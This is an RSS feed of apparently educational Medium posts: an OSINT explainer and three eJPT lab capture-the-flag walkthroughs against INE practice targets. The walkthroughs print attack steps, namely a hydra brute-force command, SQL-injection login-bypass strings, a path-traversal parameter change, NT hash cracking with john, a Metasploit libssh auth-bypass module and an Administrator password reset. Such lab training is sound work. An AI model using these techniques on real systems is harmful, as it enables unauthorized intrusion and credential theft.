<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sema Hasmer on Medium]]></title>
        <description><![CDATA[Stories by Sema Hasmer on Medium]]></description>
        <link>https://medium.com/@sema_hasmer?source=rss-70769088d406------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*44Y-jfl0tc8AmxBb</url>
            <title>Stories by Sema Hasmer on Medium</title>
            <link>https://medium.com/@sema_hasmer?source=rss-70769088d406------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 04:20:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sema_hasmer/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSINT Explained: How Public Information Becomes Intelligence]]></title>
            <link>https://medium.com/@sema_hasmer/osint-explained-how-public-information-becomes-intelligence-97b23d464b81?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/97b23d464b81</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[open-source]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 19:17:51 GMT</pubDate>
            <atom:updated>2026-11-10T19:17:51.468Z</atom:updated>
            <content:encoded><![CDATA[<p>Nov 10, 2026 · @Sema</p><p>That funny video you posted last summer. The photo of your coffee at your favorite café. The tweet you liked at 2 AM. Each one is a small piece of information that anyone can see. Put enough pieces together, and they tell a story about you. This is the idea behind OSINT, and it is one of the most useful skills in cybersecurity.</p><h3>What is OSINT?</h3><p>OSINT means Open-Source Intelligence. It is the process of collecting and analyzing information from public sources, such as websites, social media, news, and public records. People use it in cybersecurity, in investigations, and to understand threats.</p><p>The key idea is simple: OSINT uses only information that is already available to everyone. Nobody breaks into a system. Nobody steals a password. The information is already out there, and OSINT is the skill of finding it, cleaning it, and understanding what it means.</p><p>If you want a map of the tools, start with the OSINT Framework. It is a free website that organizes OSINT tools by category, so you can find the right one for each job.</p><h3>A short history</h3><p>OSINT is older than the internet.</p><ul><li><strong>World War II:</strong> The US listened to foreign radio broadcasts to learn what other countries were saying.</li><li><strong>The Cold War:</strong> Countries used maps and newspapers to gather information.</li><li><strong>The 1970s:</strong> Satellite photos became a new tool for research.</li><li><strong>The 1980s and 1990s:</strong> The internet put data online.</li><li><strong>Today:</strong> The internet is the main source. Social media, maps, and public records give us more data than ever.</li></ul><h3>OSINT today: no coding required</h3><p>You do not need to be a programmer to do OSINT. Modern tools make it easy to start:</p><ul><li>User-friendly search platforms</li><li>Tools that collect information automatically</li><li>Ready-made investigation frameworks</li><li>Browser extensions that improve searching</li><li>Visual tools that help you analyze data</li></ul><p>This is good news for defenders. It is also good news for attackers, because they can use the same tools.</p><h3>Where is OSINT used?</h3><ul><li><strong>Cybersecurity:</strong> to find vulnerabilities and detect cyber threats.</li><li><strong>Law enforcement:</strong> to track suspects and support investigations.</li><li><strong>Corporate intelligence:</strong> to watch competitors and protect a brand’s reputation.</li><li><strong>Journalism:</strong> to verify facts and find hidden links between people or events.</li><li><strong>Academic and personal research:</strong> to collect data for studies and personal projects.</li></ul><h3>Who uses it?</h3><p>Almost everyone. Hackers use OSINT to find weak points and plan attacks. Spies use public information to support secret missions. Cybersecurity analysts use it to detect threats and protect systems. Companies use it to watch competitors. Police and investigators use it to track suspects and collect evidence. Journalists use it to check facts. Regular people use it every time they research a product or a person before making a decision.</p><blockquote><em>OSINT does not take sides. It empowers the people who use it best.</em></blockquote><h3>How OSINT works</h3><p>Most OSINT work follows four steps:</p><ol><li><strong>Find the information.</strong> Search websites, social media, and forums for data.</li><li><strong>Clean the data.</strong> Remove what you do not need and fix the format.</li><li><strong>Connect and discover.</strong> Link the pieces you found, such as usernames or emails, to reveal more hidden details.</li><li><strong>Use the information.</strong> Warn others, write a report, or take action.</li></ol><h3>Common techniques</h3><ul><li><strong>Google filters and AI:</strong> Special search words in Google give much better results than a plain search.</li><li><strong>Photo information:</strong> A photo can show the time, the place, and the camera that took it.</li><li><strong>Username matching:</strong> If the same username appears on many websites, it may belong to the same person.</li><li><strong>Passive collection:</strong> You only look. The target does not know, and you leave very few traces.</li><li><strong>Active collection:</strong> You touch the system, for example with a scan. This is riskier because you leave footprints.</li></ul><h3>Common sources</h3><ul><li><strong>Social media</strong> (Twitter, Facebook, LinkedIn): real-time updates, photos, and behavior.</li><li><strong>News and blogs:</strong> reports on incidents, business activity, and political movements.</li><li><strong>Government and legal records:</strong> court filings, company registries, and public budgets.</li><li><strong>Maps and geo data:</strong> Google Maps, satellite images, and locations from photos.</li><li><strong>Technical data:</strong> WHOIS records, DNS data, GitHub commits, and server metadata.</li><li><strong>Dark web:</strong> leaked passwords or company data that is sold or shared.</li></ul><p>Among all of these, social media is the most dynamic and important source. It changes in real time and people use it all day.</p><h3>Social media: an OSINT playground</h3><p>Investigators use social media to identify people of interest, track online behavior and digital footprints, monitor public opinion and trending topics, map relationships between people, and collect locations, timestamps, and metadata.</p><p>Now turn the question around and ask about yourself:</p><ul><li>That funny video you posted last summer: who is watching it now?</li><li>You liked a tweet at 2 AM. What does that say about you?</li><li>A smiling photo at your favorite café: could it reveal your routine?</li><li>How many clues about you are already out there, without you knowing?</li></ul><p>Every click, every post, and every search says to the world: “Here I am.”</p><h3>How to protect yourself</h3><ol><li><strong>Think before you post photos.</strong> Images can reveal location, device, and time. Tools like ExifTool can extract this data in seconds.</li><li><strong>Avoid oversharing.</strong> Likes, comments, check-ins, and tags expose your habits. Do not reveal your personal routines.</li><li><strong>Check your privacy settings.</strong> Make your profiles private, control who sees your content, and review the settings often.</li><li><strong>Watch out for fake interactions.</strong> Scammers use fake accounts to collect information. Ignore messages and requests from people you do not know.</li></ol><p>Social media is not only for fun. It is also a battlefield for information. What you share is important, and what you hide is important too.</p><h3>OSINT for C3: Red Team and Blue Team</h3><p>In cybersecurity, two teams use the same public information for opposite goals. The Red Team plays the attacker. The Blue Team defends. OSINT helps both.</p><h3>OSINT for the Red Team</h3><p><strong>Purpose:</strong> Gather intelligence to plan and carry out attacks (in a safe, approved test).</p><p><strong>Common activities:</strong></p><ul><li>Target reconnaissance</li><li>Phishing campaign research</li><li>Email and domain enumeration</li><li>Password and hash cracking</li></ul><p><strong>Common tools:</strong></p><p>Tool</p><p>What it helps you do</p><p><a href="https://www.base64decode.org/">Base64 Decode</a></p><p>Decode text that is hidden in Base64 format</p><p><a href="https://crackstation.net/">CrackStation</a></p><p>Look up and crack password hashes</p><p><a href="https://dnsdumpster.com/">DNSDumpster</a></p><p>Find DNS records and subdomains of a domain</p><p><a href="https://crt.sh/">Crt.sh</a></p><p>Find domains and subdomains from public certificates</p><p><a href="https://haveibeenpwned.com/">Have I Been Pwned</a></p><p>Check if an email address appeared in a data leak</p><p><a href="https://hashes.com/en/decrypt/hash">Hashes.com</a></p><p>Look up and decrypt hashes</p><h3>OSINT for the Blue Team</h3><p><strong>Purpose:</strong> Detect, analyze, and respond to threats.</p><p><strong>Common activities:</strong></p><ul><li>Incident investigation</li><li>Threat intelligence validation</li><li>Monitoring suspicious domains and IPs</li><li>Malware analysis</li><li>Forensic analysis</li></ul><p><strong>Common tools:</strong></p><p>Job</p><p>Tool</p><p>Domain and IP lookup</p><p><a href="https://whois.domaintools.com/">DomainTools Whois</a></p><p>Phishing and URL analysis</p><p><a href="https://checkphish.bolster.ai/">CheckPhish</a></p><p>Malware and file analysis</p><p><a href="https://hybrid-analysis.com/">Hybrid Analysis</a></p><p>Multi-purpose threat scanner</p><p><a href="https://www.virustotal.com/">VirusTotal</a></p><p>Data conversion and decoding</p><p><a href="https://gchq.github.io/CyberChef/">CyberChef</a></p><p>Safe web browsing (sandbox)</p><p><a href="https://www.browserling.com/">Browserling</a></p><p>Email analysis</p><p><a href="https://www.thunderbird.net/en-GB/">Thunderbird</a></p><p>Email and DNS diagnostics</p><p><a href="https://mxtoolbox.com/">MXToolbox</a></p><p>The tools are different, but the idea is the same. The Red Team looks at what an attacker can find in public. The Blue Team uses public information to spot threats and investigate incidents.</p><h3>The pros and cons of OSINT</h3><p>OSINT is powerful, but it is not perfect.</p><p><strong>Pros</strong></p><ul><li><strong>Low cost:</strong> Many tools are free or cheap.</li><li><strong>Easy access:</strong> The information is open, so you do not need special permission.</li><li><strong>Non-intrusive:</strong> You only look. You do not touch or change anything.</li><li><strong>Real-time information:</strong> New information arrives fast, which helps you make good decisions.</li><li><strong>Flexible:</strong> You can use it to protect computer systems or to test them.</li></ul><p><strong>Cons</strong></p><ul><li><strong>Too much data:</strong> A flood of information can cause alert fatigue or make you miss important details.</li><li><strong>Legal and ethical risks:</strong> Collecting data from semi-private spaces can be illegal.</li><li><strong>Changing tactics:</strong> Criminals move to new platforms, so tools and methods must keep up.</li><li><strong>Verification problems:</strong> Not everything online is true. Always cross-check.</li></ul><h3>Final thought</h3><p>OSINT starts with a simple habit: look at what is public and ask how someone could use it. Think like an attacker. Then use what you learn to protect yourself, your team, and your company. Cybersecurity is not only about tools. It is also about people and smart behavior.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97b23d464b81" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Web Application Penetration Testing CTF 1]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-web-application-penetration-testing-ctf-1-3b9a18689583?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b9a18689583</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[skills]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 17:25:05 GMT</pubDate>
            <atom:updated>2026-11-10T17:25:05.282Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab Environment</h3><p>In this lab environment, you will be provided with GUI access to a Kali Linux machine. The target website is accessible at <a href="http://target.ine.local/">http://target.ine.local</a>.</p><p>Objective: Identify web application vulnerabilities in the target website and capture all the flags hidden within the environment.</p><p>Useful wordlists:</p><pre>/usr/share/wordlists/dirb/common.txt <br>/usr/share/seclists/Usernames/top-usernames-shortlist.txt <br>/root/Desktop/wordlists/100-common-passwords.txt</pre><p><strong>Flag 1: Sometimes, important files are hidden in plain sight. Check the root (‘/’) directory for a file named ‘flag.txt’ that might hold the key to the first flag.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*DivSGJetM3Z_DXMXzXNc4g.png" /></figure><p>Click View File</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*AIk0RKw6iS_UB7tat10Vjg.png" /></figure><p>Change the directory and /flag.txt</p><p>The URL http://target.ine.local/view_file?file=/file1.txt suggests that the web application is fetching and displaying the contents of the file specified in the file parameter.</p><p>To see the flag, you need to change the parameter value to file=/flag.txt because:</p><ul><li>If /file1.txt is accessible, and /flag.txt exists in the same directory (or is accessible via the same mechanism), changing the filename in the parameter could allow you to retrieve it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*Zdtm8qXDzjwHydY4JAqNLA.png" /></figure><p>Flag Try to find the login page and IP</p><p>cat /etc/hosts</p><p>arp -a</p><p>dig target.ine.local</p><p>nslookup target.ine.local</p><p>ping target.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*9Mwc3b1rF1CtaOgDt_eOug.png" /></figure><p><strong>Flag 2: Explore the structure of the server’s directories. Enumeration might reveal hidden treasures.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*AoEoGc_4uFomopsQYthZfw.png" /></figure><p>Find the directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*TqaxlDRkuAWHNyT-XIcAvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*2bv3lASMkse7F-mpYVWVcg.png" /></figure><p>First, go over all the directories if we can find some information <a href="http://target.ine.local/secured/">http://target.ine.local/secured/</a> — <a href="http://target.ine.local/secured/loginb">http://target.ine.local/secured/loginb</a>.....</p><p>And on <a href="http://target.ine.local/secured/">http://target.ine.local/secured/</a> directory, there is a flag.txt and it is an interesting let’s try to ope itn</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*s-EyiTDIChAVDgnvirjKig.png" /></figure><p><a href="http://target.ine.local/secured/flag.txt">http://target.ine.local/secured/flag.txt</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*OruJoHvfY1vFvSHXdXobbQ.png" /></figure><h3>1. Manual Browsing</h3><p>Try to manually access the file by navigating to the root directory of the website:</p><ul><li>If the website’s URL ishttp://example.com, enter it http://example.com/flag.txt in the browser&#39;s address bar.</li><li>Sometimes, files flag.txt are publicly accessible but not linked anywhere.</li></ul><p><strong>Flag 3: The login form seems a bit weak. Trying out different combinations might just reveal the next flag.</strong></p><p>Do the hydra and try to find other password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*4Q6mSevsHH0k4tDouyCa7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*zCTzKPuDtZfotDxova0hHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*JQWg4uKirq2AyHX0CmkCsA.png" /></figure><p>hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P ‘/root/Desktop/wordlists/100-common-passwords.txt’ 192.39.34.3 http-post-form “/login:username=^USER^&amp;password=^PASS^:F=Invalid username or password”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*PaFhFZ-WKdz5sqrVIL65mQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*g2oiQjYrzl0uAi5mFs2o5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*bi90GV3fxQSts-WW4_sf0w.png" /></figure><p><strong>Flag 4: The login form behaves oddly with unexpected inputs. Think of injection techniques to access the ‘admin’ account and find the flag.</strong></p><h3>3. SQL Injection</h3><p>Open the login page and test for SQL injection vulnerabilities in both the username and password fields:</p><ul><li>admin&#39; OR &#39;1&#39;=&#39;1<br>- &#39; OR &#39;1&#39;=&#39;1&#39; --<br>- admin&#39; --</li><li>Look for changes in the login behavior, such as bypassing authentication.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*oT_Hrsrbe46mkV29Iiu3sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*9lRYWAhRJAvCOTfFv8Cuwg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b9a18689583" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Host & Network Penetration Testing: Post-Exploitation CTF 2]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-host-network-penetration-testing-post-exploitation-ctf-2-c9a39f0f9d62?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9a39f0f9d62</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[john-the-ripper]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[hydra]]></category>
            <category><![CDATA[printspoofer]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 16:55:25 GMT</pubDate>
            <atom:updated>2026-11-10T16:55:25.603Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This lab involves exploiting a Windows target machine. By identifying insecure configurations, cracking hashes, and leveraging privilege escalation techniques, you’ll uncover and capture the flags. Challenges include exploiting an insecure SSH user, cracking password hashes, escalating privileges, and overcoming restricted access to files.</em></p><h3>Lab Environment</h3><p><em>A target machine is accessible at target.ine.local. Identify the services and capture the flags.</em></p><ul><li><strong><em>Flag 1: An insecure SSH user named alice lurks in the system.</em></strong></li><li><strong><em>Flag 2: Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user?</em></strong></li><li><strong><em>Flag 3: Can you escalate privileges and read the flag in C://Windows//System32//config directory?</em></strong></li><li><strong><em>Flag 4: Looks like the flag present in the Administrator’s home denies direct access.</em></strong></li></ul><p><em>The following will be useful:</em></p><ul><li><em>Wordist: /usr/share/wordlists/metasploit/unix_passwords.txt</em></li><li><em>Tool: /root/Desktop/PrintSpoofer.exe</em></li></ul><h3>Tools</h3><ul><li><em>Nmap</em></li><li><em>Hydra</em></li><li><em>JohnTheRipper</em></li><li><em>PrintSpoofer</em></li></ul><p><strong><em>Flag 1: An insecure SSH user named Alice lurks in the system.</em></strong></p><p><em>Find the IP address using the command below</em></p><p><em>cat /etc/hosts</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*-cxbqyOsqFc5Wc2BZx-AMg.png" /></figure><p><em>nmap -p- -sC -sV 10.3.26.100 -vvv nmap full</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*VH0xS7z6B3rV651FztC4bg.png" /></figure><p><em>We got the user name as Alice on the question. Let’s do the brute force</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*MVA1AXLBTr42gK9V1rD-lA.png" /></figure><p><em>Now we are on Alice’s machine</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*sO8h8XsSaUSH_4zA7kq9qw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*L6d_731S_BNwxebLWUxkcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*L6d_731S_BNwxebLWUxkcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*JePdqZ2gwigf61Ia5ZVOzg.png" /></figure><p><strong><em>Flag 2: Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user?”</em></strong></p><p><em>Let’s download the hashdump file via SSH with scp.</em></p><p><em>scp alice@10.3.28.8:hashdump.txt hash.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Z2FyrdyIfI1XNEteQmBdJg.png" /></figure><p><em>We have a hash file like this.</em></p><p><em>run john — format=NT hash.txt file</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*eFdlCB8RwVQndXZ0iUu2Ig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*WMdQSLRRSG05e2dOB7Hhbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*Nbv-tY1LV3YExbpTxz_Wow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*QclctFNdX-UHV_0jW_-S6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*1rj1JRnE9nTSp2WcmonVqw.png" /></figure><p><strong><em>flag3: Can you escalate privileges and read the flag in C://Windows//System32//config directory?</em></strong></p><p><em>open msfconsole</em></p><p><em>search SSH_log in and use</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*jG3dRJm0B2UGutMPSF86EQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*Py3XVSCDG4aoOK2DJ8ZXRw.png" /></figure><p><em>set up sessions</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*LWrJkL4HTx24C7MexvnJuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*9d1rM0Cq86bwUIm0rXz5_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*QiRR9tI8CpUkRXmQlF1-ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*rT_t347rGp4MuK9TXvfIdA.png" /></figure><p><em>getsystem</em></p><p><em>and copy to path from question and paste C://Windows//System32//config</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*fuq4eitWFR5bryGvuSbOxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*t5ZxnA895zlRHjGx2GzrGQ.png" /></figure><ul><li><strong><em>Flag 4: Looks like the flag present in the Administrator’s home denies direct access.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*t_iXw9lAOiFo70h7VEWCuQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*Dd-XGutD_IJd5iPYCoPGOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*jR7RpTe4SJcqpdzs1Gj3DQ.png" /></figure><ul><li><em>We need to open a shell and try to find the flag directory</em></li><li><em>Access is denied and requires privileged escalation. I used to net command and added a new password.</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*ZEGHsq_AmyRuDBYkONatoA.png" /></figure><ul><li><em>C:\Users\Administrator&gt;net user Administrator Newpass<br>==&gt; This command is used in Windows Command Prompt to change the password of the Administrator account. Here’s a breakdown:</em></li><li><em>net user – This is a built-in Windows command to manage user accounts.</em></li><li><em>Administrator – This specifies the user account whose password you want to change.</em></li><li><em>Newpass – This is the new password being set for the Administrator account.</em></li></ul><h3>Implications</h3><ul><li><em>If you have the necessary permissions, running this command will immediately change the Administrator password to </em><em>Newpass.</em></li><li><em>If executed in an elevated Command Prompt (Run as Administrator), it can be used to reset the password without requiring the old password.</em></li></ul><p><em>Once we change the Administrator password, we can log in to the SSH server</em></p><p><em>For the below use Newpass</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*QydRU5npNwzdNaKtBClY5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*n-NEwZoxyimsEA2O3NfANw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9a39f0f9d62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Host & Network Penetration Testing: Post-Exploitation CTF 1]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-host-network-penetration-testing-post-exploitation-ctf-1-fc2dda9d2e34?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc2dda9d2e34</guid>
            <category><![CDATA[openssl]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[ine]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ftp]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 16:41:36 GMT</pubDate>
            <atom:updated>2026-11-10T16:41:36.776Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Post-Exploitation refers to the phase in a penetration test or cyberattack that occurs after an attacker successfully gains access to a system or network. During this phase, the attacker aims to maximize the value of their access by escalating privileges, maintaining persistence, and gathering sensitive information. Post-exploitation techniques include pivoting to other systems, extracting passwords, exfiltrating confidential data, and leveraging compromised systems to further penetrate the network. The goal is to identify critical assets, assess the extent of the breach, and map out pathways for potential lateral movement within the target environment. Post-exploitation also focuses on covering tracks to evade detection and ensuring continued access, emphasizing the need for strong monitoring and rapid response mechanisms to prevent further compromise.</em></p><p><em>This lab is designed to challenge and refine your skills in Post-Exploitation techniques, focusing on identifying and uncovering hidden information within a target machine.</em></p><h3>Lab Environment</h3><p><em>In this lab environment, you will be provided with GUI access to a Kali Linux machine. Two machines are accessible at </em><a href="http://target1.ine.local/"><em>http://target1.ine.local</em></a><em> and </em><a href="http://target2.ine.local/"><em>http://target2.ine.local</em></a><em>.</em></p><p><em>Objective: Execute Post-Exploitation techniques on the target to uncover hidden flags and fully exploit the compromised environment.</em></p><p><strong><em>Flags to Capture:</em></strong></p><ul><li><strong><em>Flag 1: The file that stores user account details is worth a closer look. (target1.ine.local)</em></strong></li><li><strong><em>Flag 2: User groups might reveal more than you expect.</em></strong></li><li><strong><em>Flag 3: Scheduled tasks often have telling names. Investigate the cron jobs to uncover the secret.</em></strong></li><li><strong><em>Flag 4: DNS configurations might point you in the right direction. Also, explore the home directories for stored credentials.</em></strong></li><li><strong><em>Flag 5: Use the discovered credentials to gain higher privileges and explore the root’s home directory on target2.ine.local.</em></strong></li></ul><h3>Tools</h3><p><em>The best tools for this lab are:</em></p><ul><li><em>Nmap</em></li><li><em>FTP</em></li><li><em>OpenSSL</em></li></ul><p><strong><em>Flag 1: The file that stores user account details is worth a closer look. (target1.ine.local)</em></strong></p><p><em>First and foremost try to find target IPs</em></p><p><em>cat /etc/hosts</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*3yC7bKpFhG97Xfe3lRkvpA.png" /></figure><p><em>Then do the nmap</em></p><p><em>nmap -p- -sC -sV 192.58.111.4</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*PAbnhuEWkoBxkLvEtoI6Ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*8-IjwChU2LYA-PEJp8PSIg.png" /></figure><p><em>nmap for the second target</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*trzTuWnIpcMyCxtGS5M_gA.png" /></figure><p><em>There is an exploit on Metasploit for libssh</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*bLgrQ-u28gjEUi3Wf6u1LQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*WHdmdVBi-LaCuE17isudeQ.png" /></figure><p><em>that named: scanner/ssh/libssh_auth_bypass</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*2zm0BGwGNbjrhVcsq4VnjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*ikJlLoNMnTYJu87wPmyH5Q.png" /></figure><p><em>set spawn_pty true</em></p><p><em>set rhosts target1 ipl</em></p><p><em>set CreateSession true</em></p><p><em>run</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*J8BUmDr9xXcvsJUq2vCk9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*hNZak7Pd0GQCrm-DZqH9xw.png" /></figure><p><em>That file contains:</em></p><p><em>John: Pass@john123</em></p><p><em>Let’s enumerate users onthe system: flag1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*I210kQEGQaj9oZ9yaUx95Q.png" /></figure><p><strong><em>Flag 2: User groups might reveal more than you expect.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*yG8g_bAcPq4ky_W2giNPuA.png" /></figure><p><em>cat /etc/group</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*O0OmKKAuFsS5CZAINtksdQ.png" /></figure><p><strong><em>Flag 3: Scheduled tasks often have telling names. Investigate the cron jobs to uncover the secret.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*hdH-wgvNP_YET1E1hCAopA.png" /></figure><p><em>cat /etc/crontab</em></p><p><em>cat /etc/cron.d/*</em></p><p><em>These commands are used to inspect scheduled tasks managed by cron on a Linux system. Here’s what each command does:</em></p><h3>1. cat /etc/cron.d/</h3><ul><li><em>This command lists the contents of the </em><em>/etc/cron.d/ directory.</em></li><li><em>However, if used alone, it does not display file contents — just the filenames inside this directory.</em></li></ul><h3>2. cat /etc/crontab</h3><ul><li><em>This command displays the contents of</em><em>/etc/crontab, which is the system-wide crontab file.</em></li><li><em>It defines scheduled tasks and environment variables for system maintenance.</em></li><li><em>Example structure of </em><em>/etc/crontab:</em></li><li><em>This means </em><em>/path/to/script.sh runs every day at 2:00 AM as the root user.</em></li></ul><h3>3. cat /etc/cron.d/*</h3><ul><li><em>This command displays the contents of all files in </em><em>/etc/cron.d/.</em></li><li><em>The </em><em>/etc/cron.d/ directory contains custom cron jobs defined by system packages or administrators.</em></li><li><em>Example entry in a file inside </em><em>/etc/cron.d/:</em></li><li><em>Runs </em><em>/usr/local/bin/backup.sh at 3:30 AM daily as the root user.</em></li></ul><h3>Why are these important for security and pentesting?</h3><ul><li><em>Privilege Escalation: If cron jobs run as root and execute scripts that can be modified by a low-privileged user, it may be possible to escalate privileges.</em></li><li><em>Persistence: Attackers can add malicious cron jobs for persistence.</em></li><li><em>Misconfigurations: Weak permissions or exposed credentials in scripts executed by cron can be exploited.</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*v5P29ZHo8mEemoxuMYkXZw.png" /></figure><ul><li><strong><em>Flag 4: DNS configurations might point you in the right direction. Also, explore the home directories for stored credentials.</em></strong></li><li><em>cat /etc/hosts</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*G__yOGpo0YVjFa5TNHrpRA.png" /></figure><p><strong><em>Flag 5: Use the discovered credentials to gain higher privileges and explore the root’s home directory on target2.ine.local.</em></strong></p><p><em>Let’s start an nmap scan on target2, john: Pass@john123, and this credential might be useful.</em></p><figure><img alt="" 